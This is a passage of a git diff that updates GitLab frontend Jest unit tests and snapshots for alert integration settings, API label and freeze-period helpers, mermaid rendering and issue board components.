+ expect(findSubmitButton().attributes('disabled')).toBe('disabled');
+ });
+
+ it('should be able to submit when HTTP integration form is valid', async () => {
+ await selectOptionAtIndex(1);
+ await findFormFields().at(0).vm.$emit('input', 'Name');
+ expect(findSubmitButton().attributes('disabled')).toBe(undefined);
+ });
+
+ it('should not be able to submit when Prometheus integration form is invalid', async () => {
+ await selectOptionAtIndex(2);
+ await findFormFields().at(0).vm.$emit('input', '');
+
+ expect(findSubmitButton().attributes('disabled')).toBe('disabled');
+ });
+
+ it('should be able to submit when Prometheus integration form is valid', async () => {
+ await selectOptionAtIndex(2);
+ await findFormFields().at(0).vm.$emit('input', 'http://valid.url');
+
+ expect(findSubmitButton().attributes('disabled')).toBe(undefined);
+ });
+
+ it('should be able to submit when form is dirty', async () => {
+ wrapper.setData({
+ currentIntegration: { type: typeSet.http, name: 'Existing integration' },
+ });
+ await nextTick();
+ await findFormFields().at(0).vm.$emit('input', 'Updated name');
+
+ expect(findSubmitButton().attributes('disabled')).toBe(undefined);
+ });
+
+ it('should not be able to submit when form is pristine', async () => {
+ wrapper.setData({
+ currentIntegration: { type: typeSet.http, name: 'Existing integration' },
});
+ await nextTick();
+
+ expect(findSubmitButton().attributes('disabled')).toBe('disabled');
+ });
+
+ it('should disable submit button after click on validation failure', async () => {
+ await selectOptionAtIndex(1);
+ findSubmitButton().trigger('click');
+ await nextTick();
+
+ expect(findSubmitButton().attributes('disabled')).toBe('disabled');
+ });
+
+ it('should scroll to invalid field on validation failure', async () => {
+ await selectOptionAtIndex(1);
+ findSubmitButton().trigger('click');
+
+ expect(scrollIntoViewMock).toHaveBeenCalledWith({ behavior: 'smooth', block: 'center' });
});
});
});
diff --git a/spec/frontend/alerts_settings/components/alerts_settings_wrapper_spec.js b/spec/frontend/alerts_settings/components/alerts_settings_wrapper_spec.js
index 77fac6dd022..dd8ce838dfd 100644
--- a/spec/frontend/alerts_settings/components/alerts_settings_wrapper_spec.js
+++ b/spec/frontend/alerts_settings/components/alerts_settings_wrapper_spec.js
@@ -1,18 +1,18 @@
-import { GlLoadingIcon } from '@gitlab/ui';
+import { GlLoadingIcon, GlAlert } from '@gitlab/ui';
import { mount, createLocalVue } from '@vue/test-utils';
import AxiosMockAdapter from 'axios-mock-adapter';
+import { nextTick } from 'vue';
import VueApollo from 'vue-apollo';
import createHttpIntegrationMutation from 'ee_else_ce/alerts_settings/graphql/mutations/create_http_integration.mutation.graphql';
import updateHttpIntegrationMutation from 'ee_else_ce/alerts_settings/graphql/mutations/update_http_integration.mutation.graphql';
import createMockApollo from 'helpers/mock_apollo_helper';
import { useMockIntersectionObserver } from 'helpers/mock_dom_observer';
+import { extendedWrapper } from 'helpers/vue_test_utils_helper';
import waitForPromises from 'helpers/wait_for_promises';
import IntegrationsList from '~/alerts_settings/components/alerts_integrations_list.vue';
import AlertsSettingsForm from '~/alerts_settings/components/alerts_settings_form.vue';
-import AlertsSettingsWrapper, {
- i18n,
-} from '~/alerts_settings/components/alerts_settings_wrapper.vue';
-import { typeSet } from '~/alerts_settings/constants';
+import AlertsSettingsWrapper from '~/alerts_settings/components/alerts_settings_wrapper.vue';
+import { typeSet, i18n } from '~/alerts_settings/constants';
import createPrometheusIntegrationMutation from '~/alerts_settings/graphql/mutations/create_prometheus_integration.mutation.graphql';
import destroyHttpIntegrationMutation from '~/alerts_settings/graphql/mutations/destroy_http_integration.mutation.graphql';
import resetHttpTokenMutation from '~/alerts_settings/graphql/mutations/reset_http_token.mutation.graphql';
@@ -27,10 +27,12 @@ import {
RESET_INTEGRATION_TOKEN_ERROR,
UPDATE_INTEGRATION_ERROR,
INTEGRATION_PAYLOAD_TEST_ERROR,
+ INTEGRATION_INACTIVE_PAYLOAD_TEST_ERROR,
DELETE_INTEGRATION_ERROR,
} from '~/alerts_settings/utils/error_messages';
import createFlash, { FLASH_TYPES } from '~/flash';
import axios from '~/lib/utils/axios_utils';
+import httpStatusCodes from '~/lib/utils/http_status';
import {
createHttpVariables,
updateHttpVariables,
@@ -81,8 +83,9 @@ describe('AlertsSettingsWrapper', () => {
const findLoader = () => wrapper.findComponent(IntegrationsList).findComponent(GlLoadingIcon);
const findIntegrationsList = () => wrapper.findComponent(IntegrationsList);
const findIntegrations = () => wrapper.find(IntegrationsList).findAll('table tbody tr');
- const findAddIntegrationBtn = () => wrapper.find('[data-testid="add-integration-btn"]');
+ const findAddIntegrationBtn = () => wrapper.findByTestId('add-integration-btn');
const findAlertsSettingsForm = () => wrapper.findComponent(AlertsSettingsForm);
+ const findAlert = () => wrapper.findComponent(GlAlert);
async function destroyHttpIntegration(localWrapper) {
await jest.runOnlyPendingTimers();
@@ -94,32 +97,34 @@ describe('AlertsSettingsWrapper', () => {
}
async function awaitApolloDomMock() {
- await wrapper.vm.$nextTick(); // kick off the DOM update
+ await nextTick(); // kick off the DOM update
await jest.runOnlyPendingTimers(); // kick off the mocked GQL stuff (promises)
- await wrapper.vm.$nextTick(); // kick off the DOM update for flash
+ await nextTick(); // kick off the DOM update for flash
}
const createComponent = ({ data = {}, provide = {}, loading = false } = {}) => {
- wrapper = mount(AlertsSettingsWrapper, {
- data() {
- return { ...data };
- },
- provide: {
- ...defaultAlertSettingsConfig,
- ...provide,
- },
- mocks: {
- $apollo: {
- mutate: jest.fn(),
- query: jest.fn(),
- queries: {
- integrations: {
- loading,
+ wrapper = extendedWrapper(
+ mount(AlertsSettingsWrapper, {
+ data() {
+ return { ...data };
+ },
+ provide: {
+ ...defaultAlertSettingsConfig,
+ ...provide,
+ },
+ mocks: {
+ $apollo: {
+ mutate: jest.fn(),
+ query: jest.fn(),
+ queries: {
+ integrations: {
+ loading,
+ },
},
},
},
- },
- });
+ }),
+ );
};
function createComponentWithApollo({
@@ -200,20 +205,29 @@ describe('AlertsSettingsWrapper', () => {
loading: false,
});
});
- it('calls `$apollo.mutate` with `createHttpIntegrationMutation`', () => {
- jest.spyOn(wrapper.vm.$apollo, 'mutate').mockResolvedValue({
- data: { createHttpIntegrationMutation: { integration: { id: '1' } } },
+
+ describe('Create', () => {
+ beforeEach(() => {
+ jest.spyOn(wrapper.vm.$apollo, 'mutate').mockResolvedValue({
+ data: { httpIntegrationCreate: { integration: { id: '1' }, errors: [] } },
+ });
+ findAlertsSettingsForm().vm.$emit('create-new-integration', {
+ type: typeSet.http,
+ variables: createHttpVariables,
+ });
});
- findAlertsSettingsForm().vm.$emit('create-new-integration', {
- type: typeSet.http,
- variables: createHttpVariables,
+
+ it('calls `$apollo.mutate` with `createHttpIntegrationMutation`', () => {
+ expect(wrapper.vm.$apollo.mutate).toHaveBeenCalledTimes(1);
+ expect(wrapper.vm.$apollo.mutate).toHaveBeenCalledWith({
+ mutation: createHttpIntegrationMutation,
+ update: expect.anything(),
+ variables: createHttpVariables,
+ });
});
- expect(wrapper.vm.$apollo.mutate).toHaveBeenCalledTimes(1);
- expect(wrapper.vm.$apollo.mutate).toHaveBeenCalledWith({
- mutation: createHttpIntegrationMutation,
- update: expect.anything(),
- variables: createHttpVariables,
+ it('shows success alert', () => {
+ expect(findAlert().exists()).toBe(true);
});
});
@@ -334,13 +348,29 @@ describe('AlertsSettingsWrapper', () => {
expect(createFlash).toHaveBeenCalledWith({ message: UPDATE_INTEGRATION_ERROR });
});
- it('shows an error alert when integration test payload fails ', async () => {
- const mock = new AxiosMockAdapter(axios);
- mock.onPost(/(.*)/).replyOnce(403);
- return wrapper.vm.testAlertPayload({ endpoint: '', data: '', token: '' }).then(() => {
+ describe('Test alert failure', () => {
+ let mock;
+ beforeEach(() => {
+ mock = new AxiosMockAdapter(axios);
+ });
+ afterEach(() => {
+ mock.restore();
+ });
+
+ it('shows an error alert when integration test payload is invalid ', async () => {
+ mock.onPost(/(.*)/).replyOnce(httpStatusCodes.UNPROCESSABLE_ENTITY);
+ await wrapper.vm.testAlertPayload({ endpoint: '', data: '', token: '' });
expect(createFlash).toHaveBeenCalledWith({ message: INTEGRATION_PAYLOAD_TEST_ERROR });
expect(createFlash).toHaveBeenCalledTimes(1);
- mock.restore();
+ });
+
+ it('shows an error alert when integration is not activated ', async () => {
+ mock.onPost(/(.*)/).replyOnce(httpStatusCodes.FORBIDDEN);
+ await wrapper.vm.testAlertPayload({ endpoint: '', data: '', token: '' });
+ expect(createFlash).toHaveBeenCalledWith({
+ message: INTEGRATION_INACTIVE_PAYLOAD_TEST_ERROR,
+ });
+ expect(createFlash).toHaveBeenCalledTimes(1);
});
});
@@ -354,7 +384,7 @@ describe('AlertsSettingsWrapper', () => {
loading: false,
});
- jest.spyOn(wrapper.vm.$apollo, 'mutate');
+ jest.spyOn(wrapper.vm.$apollo, 'mutate').mockResolvedValueOnce({});
findIntegrationsList().vm.$emit('edit-integration', updateHttpVariables);
expect(wrapper.vm.$apollo.mutate).toHaveBeenCalledWith({
mutation: updateCurrentHttpIntegrationMutation,
@@ -372,7 +402,7 @@ describe('AlertsSettingsWrapper', () => {
loading: false,
});
- jest.spyOn(wrapper.vm.$apollo, 'mutate');
+ jest.spyOn(wrapper.vm.$apollo, 'mutate').mockResolvedValue();
findIntegrationsList().vm.$emit('edit-integration', updatePrometheusVariables);
expect(wrapper.vm.$apollo.mutate).toHaveBeenCalledWith({
mutation: updateCurrentPrometheusIntegrationMutation,
@@ -414,7 +444,7 @@ describe('AlertsSettingsWrapper', () => {
createComponentWithApollo();
await jest.runOnlyPendingTimers();
- await wrapper.vm.$nextTick();
+ await nextTick();
expect(findIntegrations()).toHaveLength(4);
});
@@ -426,7 +456,7 @@ describe('AlertsSettingsWrapper', () => {
expect(destroyIntegrationHandler).toHaveBeenCalled();
- await wrapper.vm.$nextTick();
+ await nextTick();
expect(findIntegrations()).toHaveLength(3);
});
diff --git a/spec/frontend/analytics/usage_trends/components/app_spec.js b/spec/frontend/analytics/usage_trends/components/app_spec.js
index f0306ea72e3..156be26f895 100644
--- a/spec/frontend/analytics/usage_trends/components/app_spec.js
+++ b/spec/frontend/analytics/usage_trends/components/app_spec.js
@@ -24,7 +24,7 @@ describe('UsageTrendsApp', () => {
expect(wrapper.find(UsageCounts).exists()).toBe(true);
});
- ['Total projects & groups', 'Pipelines', 'Issues & Merge Requests'].forEach((usage) => {
+ ['Total projects & groups', 'Pipelines', 'Issues & merge requests'].forEach((usage) => {
it(`displays the ${usage} chart`, () => {
const chartTitles = wrapper
.findAll(UsageTrendsCountChart)
diff --git a/spec/frontend/api_spec.js b/spec/frontend/api_spec.js
index d6e1b170dd3..cb29dab86bf 100644
--- a/spec/frontend/api_spec.js
+++ b/spec/frontend/api_spec.js
@@ -264,18 +264,18 @@ describe('Api', () => {
it('fetches group labels', (done) => {
const options = { params: { search: 'foo' } };
const expectedGroup = 'gitlab-org';
- const expectedUrl = `${dummyUrlRoot}/groups/${expectedGroup}/-/labels`;
+ const expectedUrl = `${dummyUrlRoot}/api/${dummyApiVersion}/groups/${expectedGroup}/labels`;
mock.onGet(expectedUrl).reply(httpStatus.OK, [
{
id: 1,
- title: 'Foo Label',
+ name: 'Foo Label',
},
]);
Api.groupLabels(expectedGroup, options)
.then((res) => {
expect(res.length).toBe(1);
- expect(res[0].title).toBe('Foo Label');
+ expect(res[0].name).toBe('Foo Label');
})
.then(done)
.catch(done.fail);
@@ -593,7 +593,7 @@ describe('Api', () => {
});
describe('newLabel', () => {
- it('creates a new label', (done) => {
+ it('creates a new project label', (done) => {
const namespace = 'some namespace';
const project = 'some project';
const labelData = { some: 'data' };
@@ -618,26 +618,23 @@ describe('Api', () => {
});
});
- it('creates a group label', (done) => {
+ it('creates a new group label', (done) => {
const namespace = 'group/subgroup';
- const labelData = { some: 'data' };
+ const labelData = { name: 'Foo', color: '#000000' };
const expectedUrl = Api.buildUrl(Api.groupLabelsPath).replace(':namespace_path', namespace);
- const expectedData = {
- label: labelData,
- };
mock.onPost(expectedUrl).reply((config) => {
- expect(config.data).toBe(JSON.stringify(expectedData));
+ expect(config.data).toBe(JSON.stringify({ color: labelData.color }));
return [
httpStatus.OK,
{
- name: 'test',
+ ...labelData,
},
];
});
Api.newLabel(namespace, undefined, labelData, (response) => {
- expect(response.name).toBe('test');
+ expect(response.name).toBe('Foo');
done();
});
});
@@ -1225,13 +1222,26 @@ describe('Api', () => {
)}/repository/files/${encodeURIComponent(dummyFilePath)}/raw`;
describe('when the raw file is successfully fetched', () => {
- it('resolves the Promise', () => {
+ beforeEach(() => {
mock.onGet(expectedUrl).replyOnce(httpStatus.OK);
+ });
+ it('resolves the Promise', () => {
return Api.getRawFile(dummyProjectPath, dummyFilePath).then(() => {
expect(mock.history.get).toHaveLength(1);
});
});
+
+ describe('when the method is called with params', () => {
+ it('sets the params on the request', () => {
+ const params = { ref: 'main' };
+ jest.spyOn(axios, 'get');
+
+ Api.getRawFile(dummyProjectPath, dummyFilePath, params);
+
+ expect(axios.get).toHaveBeenCalledWith(expectedUrl, { params });
+ });
+ });
});
describe('when an error occurs while getting a raw file', () => {
@@ -1382,6 +1392,38 @@ describe('Api', () => {
});
});
+ describe('updateFreezePeriod', () => {
+ const options = {
+ id: 10,
+ freeze_start: '* * * * *',
+ freeze_end: '* * * * *',
+ cron_timezone: 'America/Juneau',
+ created_at: '2020-07-11T07:04:50.153Z',
+ updated_at: '2020-07-11T07:04:50.153Z',
+ };
+ const projectId = 8;
+ const expectedUrl = `${dummyUrlRoot}/api/${dummyApiVersion}/projects/${projectId}/freeze_periods/${options.id}`;
+
+ const expectedResult = {
+ id: 10,
+ freeze_start: '* * * * *',
+ freeze_end: '* * * * *',
+ cron_timezone: 'America/Juneau',
+ created_at: '2020-07-11T07:04:50.153Z',
+ updated_at: '2020-07-11T07:04:50.153Z',
+ };
+
+ describe('when the freeze period is successfully updated', () => {
+ it('resolves the Promise', () => {
+ mock.onPut(expectedUrl, options).replyOnce(httpStatus.OK, expectedResult);
+
+ return Api.updateFreezePeriod(projectId, options).then(({ data }) => {
+ expect(data).toStrictEqual(expectedResult);
+ });
+ });
+ });
+ });
+
describe('createPipeline', () => {
it('creates new pipeline', () => {
const redirectUrl = 'ci-project/-/pipelines/95';
diff --git a/spec/frontend/batch_comments/components/preview_item_spec.js b/spec/frontend/batch_comments/components/preview_item_spec.js
index 08167a94068..03a28ce8001 100644
--- a/spec/frontend/batch_comments/components/preview_item_spec.js
+++ b/spec/frontend/batch_comments/components/preview_item_spec.js
@@ -124,4 +124,16 @@ describe('Batch comments draft preview item component', () => {
);
});
});
+
+ describe('for new comment', () => {
+ it('renders title', () => {
+ createComponent(false, {}, (store) => {
+ store.state.notes.discussions.push({});
+ });
+
+ expect(vm.$el.querySelector('.review-preview-item-header-text').textContent).toContain(
+ 'Your new comment',
+ );
+ });
+ });
});
diff --git a/spec/frontend/behaviors/markdown/render_mermaid_spec.js b/spec/frontend/behaviors/markdown/render_mermaid_spec.js
new file mode 100644
index 00000000000..51a345cab0e
--- /dev/null
+++ b/spec/frontend/behaviors/markdown/render_mermaid_spec.js
@@ -0,0 +1,25 @@
+import { initMermaid } from '~/behaviors/markdown/render_mermaid';
+import * as ColorUtils from '~/lib/utils/color_utils';
+
+describe('Render mermaid diagrams for Gitlab Flavoured Markdown', () => {
+ it.each`
+ darkMode | expectedTheme
+ ${false} | ${'neutral'}
+ ${true} | ${'dark'}
+ `('is $darkMode $expectedTheme', async ({ darkMode, expectedTheme }) => {
+ jest.spyOn(ColorUtils, 'darkModeEnabled').mockImplementation(() => darkMode);
+
+ const mermaid = {
+ initialize: jest.fn(),
+ };
+
+ await initMermaid(mermaid);
+
+ expect(mermaid.initialize).toHaveBeenCalledTimes(1);
+ expect(mermaid.initialize).toHaveBeenCalledWith(
+ expect.objectContaining({
+ theme: expectedTheme,
+ }),
+ );
+ });
+});
diff --git a/spec/frontend/behaviors/shortcuts/shortcuts_issuable_spec.js b/spec/frontend/behaviors/shortcuts/shortcuts_issuable_spec.js
index 26d38b115b6..bb3b16b4c7a 100644
--- a/spec/frontend/behaviors/shortcuts/shortcuts_issuable_spec.js
+++ b/spec/frontend/behaviors/shortcuts/shortcuts_issuable_spec.js
@@ -329,7 +329,7 @@ describe('ShortcutsIssuable', () => {
window.shortcut = new ShortcutsIssuable();
[sidebarCollapsedBtn, sidebarExpandedBtn] = document.querySelectorAll(
- '.sidebar-source-branch button',
+ '.js-sidebar-source-branch button',
);
[sidebarCollapsedBtn, sidebarExpandedBtn].forEach((btn) => jest.spyOn(btn, 'click'));
diff --git a/spec/frontend/blob/file_template_selector_spec.js b/spec/frontend/blob/file_template_selector_spec.js
new file mode 100644
index 00000000000..2ab3b3ebc82
--- /dev/null
+++ b/spec/frontend/blob/file_template_selector_spec.js
@@ -0,0 +1,61 @@
+import $ from 'jquery';
+import FileTemplateSelector from '~/blob/file_template_selector';
+
+describe('FileTemplateSelector', () => {
+ let subject;
+ let dropdown;
+ let wrapper;
+
+ const createSubject = () => {
+ subject = new FileTemplateSelector({});
+ subject.config = {
+ dropdown,
+ wrapper,
+ };
+ subject.initDropdown = jest.fn();
+ };
+
+ afterEach(() => {
+ subject = null;
+ });
+
+ describe('show method', () => {
+ beforeEach(() => {
+ dropdown = document.createElement('div');
+ wrapper = document.createElement('div');
+ wrapper.classList.add('hidden');
+ createSubject();
+ });
+
+ it('calls init on first call', () => {
+ jest.spyOn(subject, 'init');
+ subject.show();
+
+ expect(subject.init).toHaveBeenCalledTimes(1);
+ });
+
+ it('does not call init on subsequent calls', () => {
+ jest.spyOn(subject, 'init');
+ subject.show();
+ subject.show();
+
+ expect(subject.init).toHaveBeenCalledTimes(1);
+ });
+
+ it('removes hidden class from $wrapper', () => {
+ expect($(wrapper).hasClass('hidden')).toBe(true);
+
+ subject.show();
+
+ expect($(wrapper).hasClass('hidden')).toBe(false);
+ });
+
+ it('sets the focus on the dropdown', async () => {
+ subject.show();
+ jest.spyOn(subject.$dropdown, 'focus');
+ jest.runAllTimers();
+
+ expect(subject.$dropdown.focus).toHaveBeenCalled();
+ });
+ });
+});
diff --git a/spec/frontend/boards/board_card_inner_spec.js b/spec/frontend/boards/board_card_inner_spec.js
index 4487fc15de6..36043b09636 100644
--- a/spec/frontend/boards/board_card_inner_spec.js
+++ b/spec/frontend/boards/board_card_inner_spec.js
@@ -1,11 +1,14 @@
import { GlLabel } from '@gitlab/ui';
import { mount } from '@vue/test-utils';
import { range } from 'lodash';
+import Vuex from 'vuex';
+import BoardBlockedIcon from '~/boards/components/board_blocked_icon.vue';
import BoardCardInner from '~/boards/components/board_card_inner.vue';
+import { issuableTypes } from '~/boards/constants';
import eventHub from '~/boards/eventhub';
import defaultStore from '~/boards/stores';
import { updateHistory } from '~/lib/utils/url_utility';
-import { mockLabelList } from './mock_data';
+import { mockLabelList, mockIssue } from './mock_data';
jest.mock('~/lib/utils/url_utility');
jest.mock('~/boards/eventhub');
@@ -29,8 +32,28 @@ describe('Board card component', () => {
let wrapper;
let issue;
let list;
+ let store;
+
+ const findBoardBlockedIcon = () => wrapper.find(BoardBlockedIcon);
+
+ const createStore = () => {
+ store = new Vuex.Store({
+ ...defaultStore,
+ state: {
+ ...defaultStore.state,
+ issuableType: issuableTypes.issue,
+ },
+ getters: {
+ isGroupBoard: () => true,
+ isEpicBoard: () => false,
+ isProjectBoard: () => false,
+ },
+ });
+ };
+
+ const createWrapper = (props = {}) => {
+ createStore();
- const createWrapper = (props = {}, store = defaultStore) => {
wrapper = mount(BoardCardInner, {
store,
propsData: {
@@ -41,6 +64,13 @@ describe('Board card component', () => {
stubs: {
GlLabel: true,
},
+ mocks: {
+ $apollo: {
+ queries: {
+ blockingIssuables: { loading: false },
+ },
+ },
+ },
provide: {
rootPath: '/',
scopedLabelsAvailable: false,
@@ -51,14 +81,9 @@ describe('Board card component', () => {
beforeEach(() => {
list = mockLabelList;
issue = {
- title: 'Testing',
- id: 1,
- iid: 1,
- confidential: false,
+ ...mockIssue,
labels: [list.label],
assignees: [],
- referencePath: '#1',
- webUrl: '/test/1',
weight: 1,
};
@@ -68,6 +93,7 @@ describe('Board card component', () => {
afterEach(() => {
wrapper.destroy();
wrapper = null;
+ store = null;
jest.clearAllMocks();
});
@@ -87,18 +113,38 @@ describe('Board card component', () => {
expect(wrapper.find('.confidential-icon').exists()).toBe(false);
});
- it('does not render blocked icon', () => {
- expect(wrapper.find('.issue-blocked-icon').exists()).toBe(false);
- });
-
it('renders issue ID with #', () => {
- expect(wrapper.find('.board-card-number').text()).toContain(`#${issue.id}`);
+ expect(wrapper.find('.board-card-number').text()).toContain(`#${issue.iid}`);
});
it('does not render assignee', () => {
expect(wrapper.find('.board-card-assignee .avatar').exists()).toBe(false);
});
+ describe('blocked', () => {
+ it('renders blocked icon if issue is blocked', async () => {
+ createWrapper({
+ item: {
+ ...issue,
+ blocked: true,
+ },
+ });
+
+ expect(findBoardBlockedIcon().exists()).toBe(true);
+ });
+
+ it('does not show blocked icon if issue is not blocked', () => {
+ createWrapper({
+ item: {
+ ...issue,
+ blocked: false,
+ },
+ });
+
+ expect(findBoardBlockedIcon().exists()).toBe(false);
+ });
+ });
+
describe('confidential issue', () => {
beforeEach(() => {
wrapper.setProps({
@@ -303,21 +349,6 @@ describe('Board card component', () => {
});
});
- describe('blocked', () => {
- beforeEach(() => {
- wrapper.setProps({
- item: {
- ...wrapper.props('item'),
- blocked: true,
- },
- });
- });
-
- it('renders blocked icon if issue is blocked', () => {
- expect(wrapper.find('.issue-blocked-icon').exists()).toBe(true);
- });
- });
-
describe('filterByLabel method', () => {
beforeEach(() => {
delete window.location;
diff --git a/spec/frontend/boards/board_new_issue_deprecated_spec.js b/spec/frontend/boards/board_new_issue_deprecated_spec.js
index 3903ad201b2..3beaf870bf5 100644
--- a/spec/frontend/boards/board_new_issue_deprecated_spec.js
+++ b/spec/frontend/boards/board_new_issue_deprecated_spec.js
@@ -111,7 +111,7 @@ describe('Issue boards new issue form', () => {
describe('submit success', () => {
it('creates new issue', () => {
- wrapper.setData({ title: 'submit issue' });
+ wrapper.setData({ title: 'create issue' });
return Vue.nextTick()
.then(submitIssue)
@@ -122,7 +122,7 @@ describe('Issue boards new issue form', () => {
it('enables button after submit', () => {
jest.spyOn(wrapper.vm, 'submit').mockImplementation();
- wrapper.setData({ title: 'submit issue' });
+ wrapper.setData({ title: 'create issue' });
return Vue.nextTick()
.then(submitIssue)
@@ -132,7 +132,7 @@ describe('Issue boards new issue form', () => {
});
it('clears title after submit', () => {
- wrapper.setData({ title: 'submit issue' });
+ wrapper.setData({ title: 'create issue' });
return Vue.nextTick()
.then(submitIssue)
@@ -143,17 +143,17 @@ describe('Issue boards new issue form', () => {
it('sets detail issue after submit', () => {
expect(boardsStore.detail.issue.title).toBe(undefined);
- wrapper.setData({ title: 'submit issue' });
+ wrapper.setData({ title: 'create issue' });
return Vue.nextTick()
.then(submitIssue)
.then(() => {
- expect(boardsStore.detail.issue.title).toBe('submit issue');
+ expect(boardsStore.detail.issue.title).toBe('create issue');
});
});
it('sets detail list after submit', () => {
- wrapper.setData({ title: 'submit issue' });
+ wrapper.setData({ title: 'create issue' });
return Vue.nextTick()
.then(submitIssue)
@@ -164,7 +164,7 @@ describe('Issue boards new issue form', () => {
it('sets detail weight after submit', () => {
boardsStore.weightFeatureAvailable = true;
- wrapper.setData({ title: 'submit issue' });
+ wrapper.setData({ title: 'create issue' });
return Vue.nextTick()
.then(submitIssue)
@@ -175,7 +175,7 @@ describe('Issue boards new issue form', () => {
it('does not set detail weight after submit', () => {
boardsStore.weightFeatureAvailable = false;
- wrapper.setData({ title: 'submit issue' });
+ wrapper.setData({ title: 'create issue' });
return Vue.nextTick()
.then(submitIssue)
diff --git a/spec/frontend/boards/components/__snapshots__/board_blocked_icon_spec.js.snap b/spec/frontend/boards/components/__snapshots__/board_blocked_icon_spec.js.snap
new file mode 100644
index 00000000000..c000f300e4d
--- /dev/null
+++ b/spec/frontend/boards/components/__snapshots__/board_blocked_icon_spec.js.snap
@@ -0,0 +1,30 @@
+// Jest Snapshot v1, https://goo.gl/fbAQLP
+
+exports[`BoardBlockedIcon on mouseenter on blocked icon with more than three blocking issues matches the snapshot 1`] = `
+"<div class=\\"gl-display-inline\\"><svg data-testid=\\"issue-blocked-icon\\" aria-hidden=\\"true\\" class=\\"issue-blocked-icon gl-mr-2 gl-cursor-pointer gl-icon s16\\" id=\\"blocked-icon-uniqueId\\">
+ <use href=\\"#issue-block\\"></use>
+ </svg>
+ <div class=\\"gl-popover\\">
+ <ul class=\\"gl-list-style-none gl-p-0\\">
+ <li><a href=\\"http://gdk.test:3000/gitlab-org/my-project-1/-/issues/6\\" class=\\"gl-link gl-text-blue-500! gl-font-sm\\">my-project-1#6</a>
+ <p data-testid=\\"issuable-title\\" class=\\"gl-mb-3 gl-display-block!\\">
+ blocking issue title 1
+ </p>
+ </li>
+ <li><a href=\\"http://gdk.test:3000/gitlab-org/my-project-1/-/issues/5\\" class=\\"gl-link gl-text-blue-500! gl-font-sm\\">my-project-1#5</a>
+ <p data-testid=\\"issuable-title\\" class=\\"gl-mb-3 gl-display-block!\\">
+ blocking issue title 2 + blocking issue title 2 + blocking issue title 2 + bloc…
+ </p>
+ </li>
+ <li><a href=\\"http://gdk.test:3000/gitlab-org/my-project-1/-/issues/4\\" class=\\"gl-link gl-text-blue-500! gl-font-sm\\">my-project-1#4</a>
+ <p data-testid=\\"issuable-title\\" class=\\"gl-mb-3 gl-display-block!\\">
+ blocking issue title 3
+ </p>
+ </li>
+ </ul>
+ <div class=\\"gl-mt-4\\">
+ <p data-testid=\\"hidden-blocking-count\\" class=\\"gl-mb-3\\">+ 1 more issue</p> <a data-testid=\\"view-all-issues\\" href=\\"http://gdk.test:3000/gitlab-org/my-project-1/-/issues/0#related-issues\\" class=\\"gl-link gl-text-blue-500! gl-font-sm\\">View all blocking issues</a>
+ </div><span data-testid=\\"popover-title\\">Blocked by 4 issues</span>
+ </div>
+</div>"
+`;
diff --git a/spec/frontend/boards/components/board_add_new_column_form_spec.js b/spec/frontend/boards/components/board_add_new_column_form_spec.js
index 3702f55f17b..3b26ca57d6f 100644
--- a/spec/frontend/boards/components/board_add_new_column_form_spec.js
+++ b/spec/frontend/boards/components/board_add_new_column_form_spec.js
@@ -1,6 +1,6 @@
-import { GlFormGroup, GlSearchBoxByType, GlSkeletonLoader } from '@gitlab/ui';
+import { GlDropdown, GlFormGroup, GlSearchBoxByType, GlSkeletonLoader } from '@gitlab/ui';
import { shallowMount } from '@vue/test-utils';
-import Vue, { nextTick } from 'vue';
+import Vue from 'vue';
import Vuex from 'vuex';
import { extendedWrapper } from 'helpers/vue_test_utils_helper';
import BoardAddNewColumnForm from '~/boards/components/board_add_new_column_form.vue';
@@ -25,7 +25,7 @@ describe('Board card layout', () => {
const mountComponent = ({
loading = false,
- formDescription = '',
+ noneSelected = '',
searchLabel = '',
searchPlaceholder = '',
selectedId,
@@ -34,12 +34,9 @@ describe('Board card layout', () => {
} = {}) => {
wrapper = extendedWrapper(
shallowMount(BoardAddNewColumnForm, {
- stubs: {
- GlFormGroup: true,
- },
propsData: {
loading,
- formDescription,
+ noneSelected,
searchLabel,
searchPlaceholder,
selectedId,
@@ -51,13 +48,15 @@ describe('Board card layout', () => {
...actions,
},
}),
+ stubs: {
+ GlDropdown,
+ },
}),
);
};
afterEach(() => {
wrapper.destroy();
- wrapper = null;
});
const formTitle = () => wrapper.findByTestId('board-add-column-form-title').text();
@@ -65,10 +64,13 @@ describe('Board card layout', () => {
const findSearchLabel = () => wrapper.find(GlFormGroup);
const cancelButton = () => wrapper.findByTestId('cancelAddNewColumn');
const submitButton = () => wrapper.findByTestId('addNewColumnButton');
+ const findDropdown = () => wrapper.findComponent(GlDropdown);
it('shows form title & search input', () => {
mountComponent();
+ findDropdown().vm.$emit('show');
+
expect(formTitle()).toEqual(BoardAddNewColumnForm.i18n.newList);
expect(findSearchInput().exists()).toBe(true);
});
@@ -86,16 +88,6 @@ describe('Board card layout', () => {
expect(setAddColumnFormVisibility).toHaveBeenCalledWith(expect.anything(), false);
});
- it('sets placeholder and description from props', () => {
- const props = {
- formDescription: 'Some description of a list',
- };
-
- mountComponent(props);
-
- expect(wrapper.html()).toHaveText(props.formDescription);
- });
-
describe('items', () => {
const mountWithItems = (loading) =>
mountComponent({
@@ -151,13 +143,11 @@ describe('Board card layout', () => {
expect(submitButton().props('disabled')).toBe(true);
});
- it('emits add-list event on click', async () => {
+ it('emits add-list event on click', () => {
mountComponent({
selectedId: mockLabelList.label.id,
});
- await nextTick();
-
submitButton().vm.$emit('click');
expect(wrapper.emitted('add-list')).toEqual([[]]);
diff --git a/spec/frontend/boards/components/board_add_new_column_spec.js b/spec/frontend/boards/components/board_add_new_column_spec.js
index 60584eaf6cf..61f210f566b 100644
--- a/spec/frontend/boards/components/board_add_new_column_spec.js
+++ b/spec/frontend/boards/components/board_add_new_column_spec.js
@@ -1,3 +1,4 @@
+import { GlFormRadioGroup } from '@gitlab/ui';
import { shallowMount } from '@vue/test-utils';
import Vue, { nextTick } from 'vue';
import Vuex from 'vuex';
@@ -12,6 +13,10 @@ Vue.use(Vuex);
describe('Board card layout', () => {
let wrapper;
+ const selectLabel = (id) => {
+ wrapper.findComponent(GlFormRadioGroup).vm.$emit('change', id);
+ };
+
const createStore = ({ actions = {}, getters = {}, state = {} } = {}) => {
return new Vuex.Store({
state: {
@@ -57,6 +62,11 @@ describe('Board card layout', () => {
},
}),
);
+
+ // trigger change event
+ if (selectedId) {
+ selectLabel(selectedId);
+ }
};
afterEach(() => {
diff --git a/spec/frontend/boards/components/board_blocked_icon_spec.js b/spec/frontend/boards/components/board_blocked_icon_spec.js
new file mode 100644
index 00000000000..7b04942f056
--- /dev/null
+++ b/spec/frontend/boards/components/board_blocked_icon_spec.js
